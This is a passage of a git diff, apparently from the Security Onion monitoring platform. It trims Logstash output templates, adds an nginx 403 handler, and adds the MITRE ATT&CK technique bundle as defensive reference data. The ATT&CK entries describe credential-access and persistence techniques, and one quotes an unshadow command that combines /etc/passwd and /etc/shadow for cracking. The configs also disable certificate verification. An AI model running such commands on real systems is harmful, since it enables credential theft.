=> "/templates/so-flow-template.json" - template_overwrite => true ssl => true ssl_certificate_verification => false } diff --git a/salt/logstash/pipelines/config/so/9033_output_snort.conf.jinja b/salt/logstash/pipelines/config/so/9033_output_snort.conf.jinja index ea603b016..5ce7ee343 100644 --- a/salt/logstash/pipelines/config/so/9033_output_snort.conf.jinja +++ b/salt/logstash/pipelines/config/so/9033_output_snort.conf.jinja @@ -14,9 +14,6 @@ output { password => "{{ ES_PASS }}" {% endif %} index => "so-ids" - template_name => "so-ids" - template => "/templates/so-ids-template.json" - template_overwrite => true ssl => true ssl_certificate_verification => false } diff --git a/salt/logstash/pipelines/config/so/9034_output_syslog.conf.jinja b/salt/logstash/pipelines/config/so/9034_output_syslog.conf.jinja index ab8508bf3..b222ec2e1 100644 --- a/salt/logstash/pipelines/config/so/9034_output_syslog.conf.jinja +++ b/salt/logstash/pipelines/config/so/9034_output_syslog.conf.jinja @@ -15,9 +15,6 @@ output { password => "{{ ES_PASS }}" {% endif %} index => "so-syslog" - template_name => "so-syslog" - template => "/templates/so-syslog-template.json" - template_overwrite => true ssl => true ssl_certificate_verification => false } diff --git a/salt/logstash/pipelines/config/so/9050_output_filebeatmodules.conf.jinja b/salt/logstash/pipelines/config/so/9050_output_filebeatmodules.conf.jinja index f8a9b25af..ef460d463 100644 --- a/salt/logstash/pipelines/config/so/9050_output_filebeatmodules.conf.jinja +++ b/salt/logstash/pipelines/config/so/9050_output_filebeatmodules.conf.jinja @@ -16,9 +16,6 @@ output { password => "{{ ES_PASS }}" {% endif %} index => "so-%{[event][module]}-%{+YYYY.MM.dd}" - template_name => "so-common" - template => "/templates/so-common-template.json" - template_overwrite => true ssl => true ssl_certificate_verification => false } diff --git a/salt/logstash/pipelines/config/so/9100_output_osquery.conf.jinja b/salt/logstash/pipelines/config/so/9100_output_osquery.conf.jinja index b997ea7be..745ebeb19 100644 --- a/salt/logstash/pipelines/config/so/9100_output_osquery.conf.jinja +++ b/salt/logstash/pipelines/config/so/9100_output_osquery.conf.jinja @@ -15,9 +15,6 @@ output { password => "{{ ES_PASS }}" {% endif %} index => "so-osquery" - template_name => "so-osquery" - template => "/templates/so-osquery-template.json" - template_overwrite => true ssl => true ssl_certificate_verification => false } diff --git a/salt/logstash/pipelines/config/so/9101_output_osquery_livequery.conf.jinja b/salt/logstash/pipelines/config/so/9101_output_osquery_livequery.conf.jinja index fce35b5a4..aa4af89fd 100644 --- a/salt/logstash/pipelines/config/so/9101_output_osquery_livequery.conf.jinja +++ b/salt/logstash/pipelines/config/so/9101_output_osquery_livequery.conf.jinja @@ -37,9 +37,6 @@ output { password => "{{ ES_PASS }}" {% endif %} index => "so-osquery" - template_name => "so-osquery" - template => "/templates/so-osquery-template.json" - template_overwrite => true ssl => true ssl_certificate_verification => false } diff --git a/salt/logstash/pipelines/config/so/9200_output_firewall.conf.jinja b/salt/logstash/pipelines/config/so/9200_output_firewall.conf.jinja index e82dbb4f8..f6b8d4098 100644 --- a/salt/logstash/pipelines/config/so/9200_output_firewall.conf.jinja +++ b/salt/logstash/pipelines/config/so/9200_output_firewall.conf.jinja @@ -14,9 +14,6 @@ output { password => "{{ ES_PASS }}" {% endif %} index => "so-firewall" - template_name => "so-firewall" - template => "/templates/so-firewall-template.json" - template_overwrite => true ssl => true ssl_certificate_verification => false } diff --git a/salt/logstash/pipelines/config/so/9400_output_suricata.conf.jinja b/salt/logstash/pipelines/config/so/9400_output_suricata.conf.jinja index 34e2bab7c..598e9c741 100644 --- a/salt/logstash/pipelines/config/so/9400_output_suricata.conf.jinja +++ b/salt/logstash/pipelines/config/so/9400_output_suricata.conf.jinja @@ -15,8 +15,6 @@ output { password => "{{ ES_PASS }}" {% endif %} index => "so-ids" - template_name => "so-ids" - template => "/templates/so-ids-template.json" ssl => true ssl_certificate_verification => false } diff --git a/salt/logstash/pipelines/config/so/9500_output_beats.conf.jinja b/salt/logstash/pipelines/config/so/9500_output_beats.conf.jinja index 869b6d553..03326a320 100644 --- a/salt/logstash/pipelines/config/so/9500_output_beats.conf.jinja +++ b/salt/logstash/pipelines/config/so/9500_output_beats.conf.jinja @@ -16,9 +16,6 @@ output { password => "{{ ES_PASS }}" {% endif %} index => "so-beats" - template_name => "so-beats" - template => "/templates/so-beats-template.json" - template_overwrite => true ssl => true ssl_certificate_verification => false document_id => "%{[metadata][_id]}" @@ -32,9 +29,6 @@ output { password => "{{ ES_PASS }}" {% endif %} index => "so-beats" - template_name => "so-beats" - template => "/templates/so-beats-template.json" - template_overwrite => true ssl => true ssl_certificate_verification => false } diff --git a/salt/logstash/pipelines/config/so/9600_output_ossec.conf.jinja b/salt/logstash/pipelines/config/so/9600_output_ossec.conf.jinja index 6e03d8c72..4555fb8bb 100644 --- a/salt/logstash/pipelines/config/so/9600_output_ossec.conf.jinja +++ b/salt/logstash/pipelines/config/so/9600_output_ossec.conf.jinja @@ -15,9 +15,6 @@ output { password => "{{ ES_PASS }}" {% endif %} index => "so-ossec" - template_name => "so-ossec" - template => "/templates/so-ossec-template.json" - template_overwrite => true ssl => true ssl_certificate_verification => false } diff --git a/salt/logstash/pipelines/config/so/9700_output_strelka.conf.jinja b/salt/logstash/pipelines/config/so/9700_output_strelka.conf.jinja index 007f1370e..09a677d1f 100644 --- a/salt/logstash/pipelines/config/so/9700_output_strelka.conf.jinja +++ b/salt/logstash/pipelines/config/so/9700_output_strelka.conf.jinja @@ -15,9 +15,6 @@ output { password => "{{ ES_PASS }}" {% endif %} index => "so-strelka" - template_name => "so-strelka" - template => "/templates/so-strelka-template.json" - template_overwrite => true ssl => true ssl_certificate_verification => false } diff --git a/salt/logstash/pipelines/config/so/9800_output_logscan.conf.jinja b/salt/logstash/pipelines/config/so/9800_output_logscan.conf.jinja index 86944d155..8bfa166c4 100644 --- a/salt/logstash/pipelines/config/so/9800_output_logscan.conf.jinja +++ b/salt/logstash/pipelines/config/so/9800_output_logscan.conf.jinja @@ -17,9 +17,6 @@ output { password => "{{ ES_PASS }}" {% endif %} index => "so-logscan" - template_name => "so-common" - template => "/templates/so-common-template.json" - template_overwrite => true ssl => true ssl_certificate_verification => false } diff --git a/salt/nginx/etc/nginx.conf b/salt/nginx/etc/nginx.conf index 55995c368..7f3731c75 100644 --- a/salt/nginx/etc/nginx.conf +++ b/salt/nginx/etc/nginx.conf @@ -399,12 +399,18 @@ http { } error_page 401 = @error401; + error_page 403 = @error403; location @error401 { add_header Set-Cookie "AUTH_REDIRECT=$request_uri;Path=/;Max-Age=14400"; return 302 /auth/self-service/login/browser; } + location @error403 { + add_header Set-Cookie "ory_kratos_session=;Path=/;Max-Age=0;expires=Thu, 01 Jan 1970 00:00:00 GMT;"; + return 302 /auth/self-service/login/browser; + } + error_page 500 502 503 504 /50x.html; location = /usr/share/nginx/html/50x.html { } diff --git a/salt/nginx/files/enterprise-attack.json b/salt/nginx/files/enterprise-attack.json new file mode 100644 index 000000000..1203f0889 --- /dev/null +++ b/salt/nginx/files/enterprise-attack.json @@ -0,0 +1,367847 @@ +{ + "type": "bundle", + "objects": [ + { + "type": "attack-pattern", + "modified": "2020-03-20T15:56:55.022Z", + "name": "/etc/passwd and /etc/shadow", + "x_mitre_data_sources": [ + "Command: Command Execution", + "File: File Access" + ], + "x_mitre_version": "1.0", + "created": "2020-02-11T18:46:56.263Z", + "x_mitre_permissions_required": [ + "root" + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4", + "description": "Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nThe Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) # /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db\n", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_detection": "The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access /etc/passwd and /etc/shadow, alerting on the pid, process name, and arguments of such programs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1003.008", + "url": "https://attack.mitre.org/techniques/T1003/008" + }, + { + "source_name": "Linux Password and Shadow File Formats", + "description": "The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.", + "url": "https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html" + }, + { + "source_name": "nixCraft - John the Ripper", + "description": "Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.", + "url": "https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "ARP Cache Poisoning", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.1", + "modified": "2021-07-28T01:04:39.141Z", + "created": "2020-10-15T12:05:58.755Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "id": "attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n", + "x_mitre_contributors": [ + "Jon Sternstein, Stern Security" + ], + "x_mitre_detection": "Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1557/002", + "external_id": "T1557.002", + "source_name": "mitre-attack" + }, + { + "url": "https://tools.ietf.org/html/rfc826", + "description": "Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020.", + "source_name": "RFC826 ARP" + }, + { + "url": "https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411", + "description": "Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020.", + "source_name": "Sans ARP Spoofing Aug 2003" + }, + { + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "AS-REP Roasting", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1558/004", + "external_id": "T1558.004", + "source_name": "mitre-attack" + }, + { + "url": "http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/", + "description": "HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved August 24, 2020.", + "source_name": "Harmj0y Roasting AS-REPs Jan 2017" + }, + { + "url": "https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx", + "description": "Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020.", + "source_name": "Microsoft Kerberos Preauth 2014" + }, + { + "url": "https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/", + "description": "Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020.", + "source_name": "Stealthbits Cracking AS-REP Roasting Jun 2019" + }, + { + "url": "https://redsiege.com/kerberoast-slides", + "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.", + "source_name": "SANS Attacking Kerberos Nov 2014" + }, + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + }, + { + "source_name": "Microsoft Detecting Kerberoasting Feb 2018", + "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.", + "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768", + "description": "Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020.", + "source_name": "Microsoft 4768 TGT 2017" + } + ], + "x_mitre_data_sources": [ + "Active Directory: Active Directory Credential Request" + ], + "x_mitre_version": "1.0", + "modified": "2021-06-07T19:23:33.039Z", + "x_mitre_system_requirements": [ + "Valid domain account" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)", + "x_mitre_contributors": [ + "Yossi Nisani, Cymptom", + "James Dunn, @jamdunnDFW, EY", + "Swapnil Kumbhar", + "Jacques Pluviose, @Jacqueswildy_IT", + "Dan Nutting, @KerberToast" + ], + "x_mitre_detection": "Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17], pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: Microsoft 4768 TGT 2017)", + "created": "2020-08-24T13:43:00.028Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Abuse Elevation Control Mechanism", + "x_mitre_data_sources": [ + "Process: Process Metadata", + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "File: File Metadata", + "File: File Modification", + "Process: OS API Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-07-22T21:36:52.825Z", + "created": "2020-01-30T13:58:14.373Z", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", + "description": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nConsider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\n\nOn Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.\n\nThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1548", + "external_id": "T1548", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Access Token Manipulation", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Process: Process Metadata", + "Process: OS API Execution", + "User Account: User Account Metadata", + "Active Directory: Active Directory Object Modification", + "Command: Command Execution" + ], + "x_mitre_version": "2.0", + "modified": "2021-10-17T14:51:49.334Z", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "x_mitre_defense_bypassed": [ + "Windows User Account Control", + "System access controls", + "File system access controls", + "Heuristic Detection", + "Host forensic analysis" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.", + "x_mitre_effective_permissions": [ + "SYSTEM" + ], + "x_mitre_contributors": [ + "Tom Ueltschi @c_APT_ure", + "Travis Smith, Tripwire", + "Robby Winchester, @robwinchester3", + "Jared Atkinson, @jaredcatkinson" + ], + "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1134", + "external_id": "T1134", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/633.html", + "external_id": "CAPEC-633", + "source_name": "capec" + }, + { + "source_name": "Pentestlab Token Manipulation", + "description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.", + "url": "https://pentestlab.blog/2017/04/03/token-manipulation/" + }, + { + "source_name": "Microsoft Command-line Logging", + "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", + "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing" + }, + { + "source_name": "Microsoft LogonUser", + "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx" + }, + { + "source_name": "Microsoft DuplicateTokenEx", + "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx" + }, + { + "source_name": "Microsoft ImpersonateLoggedOnUser", + "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx" + }, + { + "source_name": "BlackHat Atkinson Winchester Token Manipulation", + "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.", + "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-05-13T20:37:30.008Z", + "name": "Accessibility Features", + "created": "2017-05-31T21:30:26.946Z", + "id": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1015", + "external_id": "T1015", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/558.html", + "external_id": "CAPEC-558", + "source_name": "capec" + }, + { + "source_name": "FireEye Hikit Rootkit", + "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html" + }, + { + "source_name": "DEFCON2016 Sticky Keys", + "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.", + "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom" + }, + { + "source_name": "Tilbury 2014", + "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.", + "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Accessibility Features", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "File: File Creation", + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-05-13T20:37:30.048Z", + "created": "2020-01-24T14:32:40.315Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator" + ], + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe", + "x_mitre_effective_permissions": [ + "SYSTEM" + ], + "x_mitre_contributors": [ + "Paul Speulstra, AECOM Global Security Operations Center" + ], + "x_mitre_detection": "Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. 